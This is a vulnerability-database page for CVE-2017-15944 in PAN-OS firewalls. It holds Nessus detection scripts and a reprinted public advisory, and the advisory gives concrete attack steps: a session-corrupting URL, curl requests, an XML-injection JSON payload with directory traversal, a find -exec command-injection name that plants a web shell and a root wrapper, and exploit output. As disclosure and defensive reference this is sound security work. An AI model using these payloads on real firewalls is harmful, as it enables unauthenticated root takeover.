Vulnerabilities > CVE-2017-15944 - Unspecified vulnerability in Paloaltonetworks Pan-Os

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
paloaltonetworks
nessus
exploit available
metasploit
NVD
Published: 2017-12-11
Updated: 2020-02-17

Summary

Palo Alto Networks PAN-OS before 6.1.19, 7.0.x before 7.0.19, 7.1.x before 7.1.14, and 8.0.x before 8.0.6 allows remote attackers to execute arbitrary code via vectors involving the management interface.

Vulnerable Configurations

Part Description Count
OS
Paloaltonetworks
163

Exploit-Db

  • descriptionPalo Alto Networks - 'readSessionVarsFromFile()' Session Corruption (Metasploit). CVE-2017-15944. Remote exploit for Unix platform. Tags: Metasploit Framewor...
    fileexploits/unix/remote/44597.rb
    idEDB-ID:44597
    last seen2018-05-24
    modified2018-05-08
    platformunix
    port443
    published2018-05-08
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/44597/
    titlePalo Alto Networks - 'readSessionVarsFromFile()' Session Corruption (Metasploit)
    typeremote
  • descriptionPalo Alto Networks Firewalls - Remote root Code Execution. CVE-2017-15944. Remote exploit for Hardware platform
    fileexploits/hardware/remote/43342.txt
    idEDB-ID:43342
    last seen2017-12-14
    modified2017-12-14
    platformhardware
    port
    published2017-12-14
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/43342/
    titlePalo Alto Networks Firewalls - Remote root Code Execution
    typeremote

Metasploit

descriptionThis module exploits a chain of vulnerabilities in Palo Alto Networks products running PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using an authentication bypass flaw to to exploit an XML injection issue, which is then abused to create an arbitrary directory, and finally gains root code execution by exploiting a vulnerable cron script. This module uses an initial reverse TLS callback to stage arbitrary payloads on the target appliance. The cron job used for the final payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
idMSF:EXPLOIT/LINUX/HTTP/PANOS_READSESSIONVARS
last seen2020-06-13
modified2019-03-23
published2018-05-05
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/panos_readsessionvars.rb
titlePalo Alto Networks readSessionVarsFromFile() Session Corruption

Nessus

  • NASL familyPalo Alto Local Security Checks
    NASL idPALO_ALTO_PAN-OS_8_0_6.NASL
    descriptionThe version of Palo Alto Networks PAN-OS running on the remote host is 8.0.x prior to 8.0.6. It is, therefore, affected by multiple vulnerabilities.
    last seen2020-06-01
    modified2020-06-02
    plugin id104811
    published2017-12-15
    reporterThis script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/104811
    titlePalo Alto Networks PAN-OS 8.0.x < 8.0.6 Multiple Vulnerabilities
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(104811);
  script_version("1.9");
  script_cvs_date("Date: 2018/08/01 13:59:45");

  script_cve_id("CVE-2017-15942", "CVE-2017-15944");
  script_bugtraq_id(102075, 102079);

  script_name(english:"Palo Alto Networks PAN-OS 8.0.x < 8.0.6 Multiple Vulnerabilities");
  script_summary(english:"Checks the PAN-OS version.");

  script_set_attribute(attribute:"synopsis", value:
"The remote PAN-OS host is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description",value:
"The version of Palo Alto Networks PAN-OS running on the remote host is
8.0.x prior to 8.0.6. It is, therefore, affected by multiple
vulnerabilities.");
  # https://securityadvisories.paloaltonetworks.com/Home/Detail/96
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?06c321db");
  # https://securityadvisories.paloaltonetworks.com/Home/Detail/102
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?d9a7eb24");
  # https://www.paloaltonetworks.com/documentation/80/pan-os/pan-os-release-notes/pan-os-8-0-6-addressed-issues
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?32570e85");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Palo Alto Networks PAN-OS version 8.0.6 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Palo Alto Networks readSessionVarsFromFile() Session Corruption');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/12/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/12/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/15");

  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:paloaltonetworks:pan-os");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Palo Alto Local Security Checks");

  script_copyright(english:"This script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("palo_alto_version.nbin");
  script_require_keys("Host/Palo_Alto/Firewall/Version", "Host/Palo_Alto/Firewall/Full_Version");

  exit(0);
}

include("vcf.inc");

app_name = "Palo Alto Networks PAN-OS";

app_info = vcf::get_app_info(app:app_name, kb_ver:"Host/Palo_Alto/Firewall/Full_Version", webapp:true);

vcf::check_granularity(app_info:app_info, sig_segments:2);

constraints = [
  { "min_version" : "8.0", "fixed_version" : "8.0.6" }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);
  • NASL familyPalo Alto Local Security Checks
    NASL idPALO_ALTO_PAN-OS_6_1_19.NASL
    descriptionThe version of Palo Alto Networks PAN-OS running on the remote host is 6.1.x prior to 6.1.19. It is, therefore, affected by multiple vulnerabilities.
    last seen2020-06-01
    modified2020-06-02
    plugin id105295
    published2017-12-15
    reporterThis script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105295
    titlePalo Alto Networks PAN-OS 6.1.x < 6.1.19 Multiple Vulnerabilities
    code
    #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(105295);
  script_version("1.6");
  script_cvs_date("Date: 2018/08/01 13:59:45");

  script_cve_id(
    "CVE-2017-15940",
    "CVE-2017-15942",
    "CVE-2017-15943",
    "CVE-2017-15944"
  );
  script_bugtraq_id(
    102074,
    102075,
    102076,
    102079
  );

  script_name(english:"Palo Alto Networks PAN-OS 6.1.x < 6.1.19 Multiple Vulnerabilities");
  script_summary(english:"Checks the PAN-OS version.");

  script_set_attribute(attribute:"synopsis", value:
"The remote PAN-OS host is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description",value:
"The version of Palo Alto Networks PAN-OS running on the remote host is
6.1.x prior to 6.1.19. It is, therefore, affected by multiple
vulnerabilities.");
  # https://securityadvisories.paloaltonetworks.com/Home/Detail/96
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?06c321db");
  # https://securityadvisories.paloaltonetworks.com/Home/Detail/99
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2462d7e7");
  # https://securityadvisories.paloaltonetworks.com/Home/Detail/102
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?d9a7eb24");
  # https://securityadvisories.paloaltonetworks.com/Home/Detail/105
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?bbe4facb");
  # https://www.paloaltonetworks.com/documentation/61/pan-os/pan-os-release-notes/pan-os-6-1-19-addressed-issues
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?fa24076a");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Palo Alto Networks PAN-OS version 6.1.19 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Palo Alto Networks readSessionVarsFromFile() Session Corruption');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/12/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2017/12/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/12/15");

  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:paloaltonetworks:pan-os");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Palo Alto Local Security Checks");

  script_copyright(english:"This script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("palo_alto_version.nbin");
  script_require_keys("Host/Palo_Alto/Firewall/Version", "Host/Palo_Alto/Firewall/Full_Version");

  exit(0);
}

include("vcf.inc");

app_name = "Palo Alto Networks PAN-OS";

app_info = vcf::get_app_info(app:app_name, kb_ver:"Host/Palo_Alto/Firewall/Full_Version", webapp:true);

vcf::check_granularity(app_info:app_info, sig_segments:2);

constraints = [
  { "min_version" : "6.1", "fixed_version" : "6.1.19" }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);
  • NASL familyCGI abuses
    NASL idPALO_ALTO_PAN-SA-2017-0027_REMOTE.NASL
    descriptionThe Palo Alto Networks PAN-OS running on the remote host is affected by a remote code execution vulnerability in the management interface due to improper validation of user-supplied input when handling HTTP requests. An unauthenticated, remote attacker can exploit this, via a series of specially crafted requests, to cause remote code execution in the context of the highest privileged user. Note that PAN-OS is reportedly affected by other vulnerabilities as well; however, Nessus has not tested for these.
    last seen2020-06-01
    modified2020-06-02
    plugin id105376
    published2017-12-20
    reporterThis script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105376
    titlePalo Alto Networks PAN-OS Management Interface RCE (PAN-SA-2017-0027)
  • NASL familyPalo Alto Local Security Checks
    NASL idPALO_ALTO_PAN-OS_7_1_14.NASL
    descriptionThe version of Palo Alto Networks PAN-OS running on the remote host is 7.1.x prior to 7.1.14. It is, therefore, affected by multiple vulnerabilities.
    last seen2020-06-01
    modified2020-06-02
    plugin id105298
    published2017-12-15
    reporterThis script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105298
    titlePalo Alto Networks PAN-OS 7.1.x < 7.1.14 Multiple Vulnerabilities
  • NASL familyPalo Alto Local Security Checks
    NASL idPALO_ALTO_PAN-OS_7_0_19.NASL
    descriptionThe version of Palo Alto Networks PAN-OS running on the remote host is 7.0.x prior to 7.0.19. It is, therefore, affected by multiple vulnerabilities.
    last seen2020-06-01
    modified2020-06-02
    plugin id105296
    published2017-12-15
    reporterThis script is Copyright (C) 2017-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/105296
    titlePalo Alto Networks PAN-OS 7.0.x < 7.0.19 Multiple Vulnerabilities

Packetstorm

Seebug

bulletinFamilyexploit
descriptionThis is a public advisory for CVE-2017-15944 which is a remote root code execution bug in Palo Alto Networks firewalls. Three separate bugs can be used together to remotely execute commands as root through the web management interface without authentication on: PAN-OS 6.1.18 and earlier, PAN-OS 7.0.18 and earlier, PAN-OS 7.1.13 and earlier, PAN-OS 8.0.5 and earlier. Palo Alto Networks recommends not exposing the web management interface to the internet. By looking at Project Sonar or Shodan it is evident that it's actually quite common to deploy the firewalls with the web management interface listening on the WAN port. PAN-OS 6.1.19, PAN-OS 7.0.19, PAN-OS 7.1.14 and PAN-OS 8.0.6 are patched and can be downloaded from https://support.paloaltonetworks.com/ ### DESCRIPTION #### Bug #1: Partial authentication bypass The file `/etc/appweb3/conf/common.conf` contains the web configuration for the web server that handles the web management interface. It configures an authentication filter on most subdirectories using the following format: ``` <Location /php> panAuthCheck on </Location> ``` This means that all requests to `/php/*` will be checked for an authenticated session cookie. The functionality itself is implemented in the `libpanApiWgetFilter.so` library file. The function `openAuthFilter()` will look for the PHPSESSID cookie and then call the `readSessionVarsFromFile()` function on the session file to extract the `dloc` and `user` values. The problem is that `readSessionVarsFromFile()` is not using the official PHP functions to read the serialized session data, but its own parser using `strtok()` which is not implemented correctly. The PHP session format which `readSessionVarsFromFile()` tries to parse looks like this for string values: ``` locale|s:2:"en"; ``` Explained: ``` var_name|s:str_length:"string value"; var_name|s:str_length:"another string";... ``` If we can inject a value into the session file that contains the `";` character sequence, we can break the parser and inject our own value for the `user` variable. We can do this by calling the `/esp/cms_changeDeviceContext.esp` script, which does not need any kind of authentication to be called. It will call the `panUserSetDeviceLocation()` function located in `panmodule.so`, which splits the `dloc` GET parameter by ":" and sets the `dloc` and `loc` session variables to the second value. We can corrupt the session file by calling the following url: `/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";` Which produces the following contents in `/tmp/sess_<sessionid>`: `dloc|s:20:"8:a'";user|s."1337";";loc|s:27:"16:a'";user|s."1337";:vsys1";` When this is parsed by the `readSessionVarsFromFile()` function, it will extract `16:a'` as the value for the `user` variable. It will then use this in XML requests to the backend to check if the user is authenticated, but this produces an XML injection that results in an invalid XML document: ``` Entity: line 1: parser error : attributes construct error <request cmd='op' cookie='16:a'' refresh='no'><operations xml='yes'><show><cli> ``` The extra single quote character is injected into the cookie value, which makes the request fail because of a parser error. Interestingly enough, the `panCheckSessionExpired()` function in `libpanApiWgetFilter.so` does not recognize this unexpected state and believes that authentication has succeeded. We can now access any PHP file protected by the panAuthCheck directive using our manipulated session cookie. Example: ``` imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php <!DOCTYPE html> <html><head><title>Moved Temporarily</title></head> <body><h1>Moved Temporarily</h1> <p>The document has moved <a href="http://10.0.0.1:28250/php/logout.php ">here</a>.</p> <address>PanWeb Server/ - at 127.0.0.1:28250 Port 80</address></body> </html> imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" ' 10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27";user|s."1337";' @start@Success@end@ imac:~/pa% curl -H "Cookie: PHPSESSID=hacked;" 10.0.0.1/php/utils/debug.php 2>/dev/null|head -30 <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" " http://www.w3.org/TR/html4/loose.dtd";> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <title>Debug Console</title> ``` It's important to note that we still don't have a valid, logged in session. Most PHP scripts will fail, but we do bypass the authentication check in the web server. #### Bug #2: Arbitrary directory creation The `/php/utils/router.php` file handles API requests for the web management interface backend communication. It exposes most of the PHP classes that comprise the web application in a simple remote procedure call interface over HTTP POST/JSON. The `/php/device/Administrator.php` file declares the `Administrator` class. It contains a method called `get` that we can call from `router.php`. In the `get` method there is an XML injection in the call to `Direct::getConfigByXpath`. The `jsonArgs->id` parameter is appended to the request without any sanitation. This allows us to manipulate the XML request that is sent to the backend. Normal request: ``` <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" cookie="12312312312"/> ``` We can inject our own values into the end of the `obj` attribute, and therefore control all of the remaining XML request. The `pan_cfg_req_ctxt_construct()` function in `libpanmp_mp.so` handles the parsing of XML requests in the backend. If we send a request tag with the `async-mode='yes'` attribute set, the backend will create a temporary file and parent directory in `/opt/pancfg/session/pan/user_tmp/<cookie value>/<jobid>.xml` that contains the output of the request. Since we can control the `<cookie value>` part of the created directory structure, we can use a directory traversal attack to create a directory with an arbitrary name anywhere on the system. For example, by sending the following crafted POST request: ``` {"action":"PanDirect","method":"execute","data": ["07c5807d0d927dcd0980f86024e5208b","Administrator.get", {"changeMyPassword":true,"template":"asd","id":"admin']\" async-mode='yes' refresh='yes' cookie='../../../../../../tmp/hacked'/>\u0000"}],"type":"rpc","tid":713} ``` The backend receives the following XML request, resulting in the `/tmp/hacked` directory being created: ``` <request cmd="get" obj="/config/mgt-config/users/entry[@name='admin']" async-mode="yes" refresh="yes" cookie="../../../../../../tmp/hacked"/> ``` #### Bug #3: Command injection in cron script There is a cron entry that executes `/usr/local/bin/genindex_batch.sh` every 15 minutes. This shellscript will in turn execute `/usr/local/bin/genindex.sh` to generate indexes from database files in `/opt/pancfg/mgmt/logdb/`. There is a command injection vulnerability in how this shellscript handles filename processing: ``` <redacted at the request of PA networks> ``` Since we can create directories in `$PAN_BASE_DIR/logdb/$dir/1`, we are able to influence the output of the first `find` command. This output is then used as an argument in the second execution of `find`, but without enclosing quotes. We can therefore inject arbitrary arguments in this invocation. By passing the `-exec` option to `find`, we can make it execute arbitrary system commands. My exploit creates a directory called: `* -print -exec python -c exec("[base64 code..]".decode("base64")) ;` The base64-encoded python code will be executed as root, which creates a simple web shell in `/var/appweb/htdocs/api/c.php` as well as a suid root wrapper in `/bin/x`. ##### EXPLOIT OUTPUT ``` imac:~/pa% python panos-rce.py http://10.0.0.1/ creating corrupted session... http://10.0.0.1/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27 ";user|s."1337"; done, verifying.. http://10.0.0.1/php/utils/debug.php panAuthCheck bypassed verifying that directory creation works.. http://10.0.0.1/php/utils/router.php/Administrator.get http://10.0.0.1/api/test/202.xml creating /opt/pancfg/mgmt/logdb/traffic/1/ entry shell at http://10.0.0.1/api/c.php should be created in 8 minutes.. please wait web shell created, rootshell accessible with /bin/x -p -c 'command' uid=99(nobody) gid=99(nobody) euid=0(root) Linux PA-3060 2.6.32.27-7.1.10.0.30 #1 SMP Thu May 4 20:10:01 PDT 2017 x86_64 x86_64 x86_64 GNU/Linux $ ```
idSSV:96983
last seen2017-12-25
modified2017-12-14
published2017-12-14
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-96983
titlePalo Alto Networks firewalls remote root code execution(CVE-2017-15944)

References